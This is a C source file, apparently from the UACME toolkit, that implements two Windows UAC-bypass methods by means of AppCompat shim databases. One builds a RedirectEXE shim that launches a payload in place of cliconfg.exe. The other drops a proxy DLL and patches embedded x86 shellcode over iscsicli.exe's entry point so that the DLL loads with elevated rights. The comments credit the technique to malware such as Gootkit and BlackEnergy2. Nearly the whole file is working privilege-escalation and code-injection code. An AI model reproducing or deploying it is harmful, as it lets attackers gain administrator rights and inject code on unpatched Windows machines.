UACME/Source/Akagi/methods/gootkit.c

359 lines
12 KiB
C

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2014 - 2019,
* (C) MS FixIT Shim Patches revealed by Jon Erickson
*
* TITLE: GOOTKIT.C
*
* VERSION: 3.17
*
* DATE: 18 Mar 2019
*
* Gootkit based AutoElevation using AppCompat.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
#ifndef _WIN64
static const unsigned char Inazuma32[237] = {
0xEB, 0x78, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x10, 0x53, 0x56, 0x8B, 0xF1, 0x89, 0x55, 0xFC, 0x57,
0x8B, 0x46, 0x3C, 0x8B, 0x44, 0x30, 0x78, 0x03, 0xC6, 0x8B, 0x48, 0x24, 0x8B, 0x50, 0x20, 0x03,
0xCE, 0x8B, 0x58, 0x1C, 0x03, 0xD6, 0x8B, 0x40, 0x18, 0x03, 0xDE, 0x89, 0x4D, 0xF0, 0x33, 0xC9,
0x89, 0x55, 0xF4, 0x89, 0x45, 0xF8, 0x85, 0xC0, 0x74, 0x29, 0x8B, 0x14, 0x8A, 0x03, 0xD6, 0x33,
0xFF, 0xEB, 0x0C, 0x0F, 0xBE, 0xC0, 0x33, 0xC7, 0xC1, 0xC0, 0x03, 0x40, 0x42, 0x8B, 0xF8, 0x8A,
0x02, 0x84, 0xC0, 0x75, 0xEE, 0x3B, 0x7D, 0xFC, 0x74, 0x12, 0x8B, 0x55, 0xF4, 0x41, 0x3B, 0x4D,
0xF8, 0x72, 0xD7, 0x33, 0xC0, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x45, 0xF0, 0x0F,
0xB7, 0x04, 0x48, 0x8B, 0x04, 0x83, 0x03, 0xC6, 0xEB, 0xEB, 0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x10,
0x01, 0x00, 0x00, 0x64, 0xA1, 0x18, 0x00, 0x00, 0x00, 0x56, 0x57, 0x6A, 0x02, 0x8B, 0x40, 0x30,
0x8B, 0x40, 0x0C, 0x8B, 0x78, 0x0C, 0x83, 0x65, 0xFC, 0x00, 0xC7, 0x45, 0xF4, 0x25, 0x54, 0x4D,
0x50, 0xC7, 0x45, 0xF8, 0x25, 0x5C, 0x72, 0x33, 0x58, 0x8B, 0x3F, 0x48, 0x75, 0xFB, 0x8B, 0x4F,
0x18, 0xBA, 0x08, 0x7E, 0xB3, 0x69, 0xE8, 0x47, 0xFF, 0xFF, 0xFF, 0x8B, 0x4F, 0x18, 0x8B, 0xF0,
0x68, 0x04, 0x01, 0x00, 0x00, 0x8D, 0x85, 0xF0, 0xFE, 0xFF, 0xFF, 0xBA, 0xA2, 0x90, 0x38, 0xF5,
0x50, 0x8D, 0x45, 0xF4, 0x50, 0xE8, 0x28, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0x8D, 0x85, 0xF0, 0xFE,
0xFF, 0xFF, 0x50, 0xFF, 0xD6, 0x5F, 0x33, 0xC0, 0x5E, 0x8B, 0xE5, 0x5D, 0xC3
};
#endif
/*
* ucmRegisterAndRunTarget
*
* Purpose:
*
* Register shim database and execute target app from Windows (sub)directory.
*
*/
BOOL ucmRegisterAndRunTarget(
_In_ LPWSTR lpShimDbPath,
_In_ LPWSTR lpTarget,
_In_ BOOL IsPatch
)
{
BOOL bResult = FALSE;
WCHAR szSdbinstPath[MAX_PATH * 2];
WCHAR szCmd[MAX_PATH * 4];
if ((lpTarget == NULL) ||
(lpShimDbPath == NULL)) return bResult;
RtlSecureZeroMemory(szSdbinstPath, sizeof(szSdbinstPath));
#ifdef _WIN64
_strcpy(szSdbinstPath, USER_SHARED_DATA->NtSystemRoot);
_strcat(szSdbinstPath, SYSWOW64_DIR);
_strcat(szSdbinstPath, SDBINST_EXE);
#else
_strcpy(szSdbinstPath, g_ctx->szSystemDirectory);
_strcat(szSdbinstPath, SDBINST_EXE);
#endif
RtlSecureZeroMemory(szCmd, sizeof(szCmd));
if (IsPatch) {
_strcpy(szCmd, L"-p ");
_strcat(szCmd, lpShimDbPath);
}
else {
_strcpy_w(szCmd, lpShimDbPath);
}
//
// Register shim, sdbinst.exe
//
if (supRunProcess(szSdbinstPath, szCmd)) {
RtlSecureZeroMemory(szCmd, sizeof(szCmd));
#ifdef _WIN64
_strcpy(szCmd, USER_SHARED_DATA->NtSystemRoot);
_strcat(szCmd, SYSWOW64_DIR);
#else
_strcpy(szCmd, g_ctx->szSystemDirectory);
#endif
_strcat(szCmd, lpTarget);
bResult = supRunProcess(szCmd, NULL);
//remove database
RtlSecureZeroMemory(szCmd, sizeof(szCmd));
_strcpy(szCmd, L"/q /u ");
_strcat(szCmd, lpShimDbPath);
supRunProcess(szSdbinstPath, szCmd);
DeleteFile(lpShimDbPath);
}
return bResult;
}
/*
* ucmShimRedirectEXE
*
* Purpose:
*
* Build, register shim database and execute target app.
* Initially used in BlackEnergy2 and Gootkit by mzH (alive-green).
* Used in number of trojans (Win32/Dyre, WinNT/Cridex).
*
* Fixed in Windows 10 TH1, KB3045645/KB3048097 for everything else
*
*/
NTSTATUS ucmShimRedirectEXE(
_In_ LPWSTR lpszPayloadEXE
)
{
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
PDB hShimDb;
GUID dbGUID, exeGUID;
WCHAR szShimDbPath[MAX_PATH * 2];
TAGID tidDB = 0;
TAGID tidEXE = 0;
TAGID tidMatchFile = 0;
TAGID tidShim = 0;
TAGID tidLib = 0;
if (lpszPayloadEXE == NULL) {
return STATUS_INVALID_PARAMETER;
}
//
// GUIDs are important, for both DATABASE and EXE file.
// They used as shim identifiers and must be set.
//
if ((CoCreateGuid(&dbGUID) != S_OK) ||
(CoCreateGuid(&exeGUID) != S_OK))
{
return STATUS_INTERNAL_ERROR;
}
RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath));
_strcpy(szShimDbPath, g_ctx->szTempDirectory);
_strcat(szShimDbPath, MYSTERIOUSCUTETHING);
_strcat(szShimDbPath, L".sdb");
hShimDb = SdbCreateDatabase(szShimDbPath, DOS_PATH);
if (hShimDb == NULL) {
return STATUS_INTERNAL_ERROR;
}
//write shim DB header
tidDB = SdbBeginWriteListTag(hShimDb, TAG_DATABASE);
if (tidDB != TAGID_NULL) {
SdbWriteStringTag(hShimDb, TAG_NAME, MYSTERIOUSCUTETHING);
SdbWriteDWORDTag(hShimDb, TAG_OS_PLATFORM, 0x1); //win32 only RedirectEXE
SdbWriteBinaryTag(hShimDb, TAG_DATABASE_ID, (PBYTE)&dbGUID, sizeof(GUID));
//just as ACT 5.6 does
tidLib = SdbBeginWriteListTag(hShimDb, TAG_LIBRARY);
if (tidLib != TAGID_NULL) SdbEndWriteListTag(hShimDb, tidLib);
//write shim task information
tidEXE = SdbBeginWriteListTag(hShimDb, TAG_EXE);
if (tidEXE != TAGID_NULL) {
SdbWriteStringTag(hShimDb, TAG_NAME, CLICONFG_EXE);
SdbWriteStringTag(hShimDb, TAG_APP_NAME, CLICONFG_EXE);
SdbWriteStringTag(hShimDb, TAG_VENDOR, MSFT_MIN);
SdbWriteBinaryTag(hShimDb, TAG_EXE_ID, (PBYTE)&exeGUID, sizeof(GUID));
//write shim target info
tidMatchFile = SdbBeginWriteListTag(hShimDb, TAG_MATCHING_FILE);
if (tidMatchFile != TAGID_NULL) {
SdbWriteStringTag(hShimDb, TAG_NAME, L"*"); //<-from any
SdbWriteStringTag(hShimDb, TAG_COMPANY_NAME, MSFT_FULL);
SdbWriteStringTag(hShimDb, TAG_INTERNAL_NAME, CLICONFG_EXE);
SdbEndWriteListTag(hShimDb, tidMatchFile);
}
//write shim action info
tidShim = SdbBeginWriteListTag(hShimDb, TAG_SHIM_REF);
if (tidShim != TAGID_NULL) {
SdbWriteStringTag(hShimDb, TAG_NAME, L"RedirectEXE");
SdbWriteStringTag(hShimDb, TAG_COMMAND_LINE, lpszPayloadEXE);
SdbEndWriteListTag(hShimDb, tidShim);
}
SdbEndWriteListTag(hShimDb, tidEXE);
}
SdbEndWriteListTag(hShimDb, tidDB);
}
SdbCloseDatabaseWrite(hShimDb);
if (ucmRegisterAndRunTarget(
szShimDbPath,
CLICONFG_EXE,
FALSE))
{
MethodResult = STATUS_SUCCESS;
}
return MethodResult;
}
#ifndef _WIN64
/*
* ucmShimPatch
*
* Purpose:
*
* Build, register shim patch database and execute target app with forced Entry Point Override.
* Aside from UAC bypass this is also dll injection technique.
*
* Fixed in Windows 10 TH1, KB3045645/KB3048097 for everything else
*
*/
NTSTATUS ucmShimPatch(
_In_ PVOID ProxyDll,
_In_ DWORD ProxyDllSize
)
{
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
PDB hpdb;
GUID dbGUID, exeGUID;
WCHAR szShimDbPath[MAX_PATH * 2];
WCHAR szBuffer[MAX_PATH * 2];
DWORD indexid = MAXDWORD, sz, epRVA = 0;
TAGID dbrf, libref, patchref, exeref, matchfileref, patchfileref;
PBYTE tmp;
PPATCHBITS patchbits;
do {
if ((CoCreateGuid(&dbGUID) != S_OK) ||
(CoCreateGuid(&exeGUID) != S_OK))
{
return STATUS_INTERNAL_ERROR;
}
// drop Fubuki
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, g_ctx->szTempDirectory);
_strcat(szBuffer, L"r3.dll");
if (!supWriteBufferToFile(szBuffer, ProxyDll, ProxyDllSize)) {
MethodResult = STATUS_UNSUCCESSFUL;
break;
}
RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath));
_strcpy(szShimDbPath, g_ctx->szTempDirectory);
_strcat(szShimDbPath, INAZUMA_REV);
_strcat(szShimDbPath, L".sdb");
hpdb = SdbCreateDatabase(szShimDbPath, DOS_PATH);
if (hpdb == NULL)
break;
if (!SdbDeclareIndex(hpdb, TAG_EXE, TAG_NAME, 1, TRUE, &indexid))
break;
if (!SdbStartIndexing(hpdb, indexid))
break;
SdbStopIndexing(hpdb, indexid);
SdbCommitIndexes(hpdb);
// begin DATABASE {
dbrf = SdbBeginWriteListTag(hpdb, TAG_DATABASE);
if (!SdbWriteStringTag(hpdb, TAG_NAME, INAZUMA_REV))
break;
SdbWriteBinaryTag(hpdb, TAG_DATABASE_ID, (PBYTE)&dbGUID, sizeof(GUID));
SdbWriteDWORDTag(hpdb, TAG_OS_PLATFORM, 0x1); //<- win32
// begin LIBRARY {
libref = SdbBeginWriteListTag(hpdb, TAG_LIBRARY);
patchref = SdbBeginWriteListTag(hpdb, TAG_PATCH); // begin LIBRARY-PATCH
SdbWriteStringTag(hpdb, TAG_NAME, BINARYPATH_TAG);
// query EP RVA for target
_strcpy(szBuffer, g_ctx->szSystemDirectory);
_strcat(szBuffer, ISCSICLI_EXE);
epRVA = supQueryEntryPointRVA(szBuffer);
if (epRVA == 0) {
MethodResult = STATUS_ENTRYPOINT_NOT_FOUND;
break;
}
tmp = supHeapAlloc(32 * 1024);
if (tmp != NULL) {
patchbits = (PPATCHBITS)tmp;
sz = 0;
patchbits->Opcode = PATCH_REPLACE;
patchbits->RVA = epRVA;
_strcpy_w(patchbits->ModuleName, ISCSICLI_EXE);
supCopyMemory((char *)&patchbits->Pattern, sizeof(Inazuma32), Inazuma32, sizeof(Inazuma32));
patchbits->PatternSize = sizeof(Inazuma32);
patchbits->ActionSize = (DWORD)(sizeof(PATCHBITS) + patchbits->PatternSize);
sz += patchbits->ActionSize;
SdbWriteBinaryTag(hpdb, TAG_PATCH_BITS, tmp, sz);
supHeapFree(tmp);
}
SdbEndWriteListTag(hpdb, patchref); // end LIBRARY-PATCH
// end LIBRARY
SdbEndWriteListTag(hpdb, libref);
SdbStartIndexing(hpdb, indexid);
// begin EXE {
exeref = SdbBeginWriteListTag(hpdb, TAG_EXE);
SdbWriteStringTag(hpdb, TAG_NAME, ISCSICLI_EXE);
SdbWriteStringTag(hpdb, TAG_APP_NAME, ISCSICLI_EXE);
SdbWriteBinaryTag(hpdb, TAG_EXE_ID, (PBYTE)&exeGUID, sizeof(GUID));
// begin MATCH {
matchfileref = SdbBeginWriteListTag(hpdb, TAG_MATCHING_FILE);
SdbWriteStringTag(hpdb, TAG_NAME, ISCSICLI_EXE);
SdbWriteStringTag(hpdb, TAG_COMPANY_NAME, MSFT_FULL);
SdbEndWriteListTag(hpdb, matchfileref); // } end MATCH
patchfileref = SdbBeginWriteListTag(hpdb, TAG_PATCH_REF);
SdbWriteStringTag(hpdb, TAG_NAME, BINARYPATH_TAG);
SdbWriteDWORDTag(hpdb, TAG_PATCH_TAGID, patchref);
SdbEndWriteListTag(hpdb, patchfileref);
SdbEndWriteListTag(hpdb, exeref); // } end EXE
// } end DATABASE
SdbEndWriteListTag(hpdb, dbrf);
SdbCloseDatabaseWrite(hpdb);
// Register db and run target.
if (ucmRegisterAndRunTarget(
szShimDbPath,
ISCSICLI_EXE,
TRUE))
{
MethodResult = STATUS_SUCCESS;
}
} while (FALSE);
return MethodResult;
}
#endif /* _WIN64 */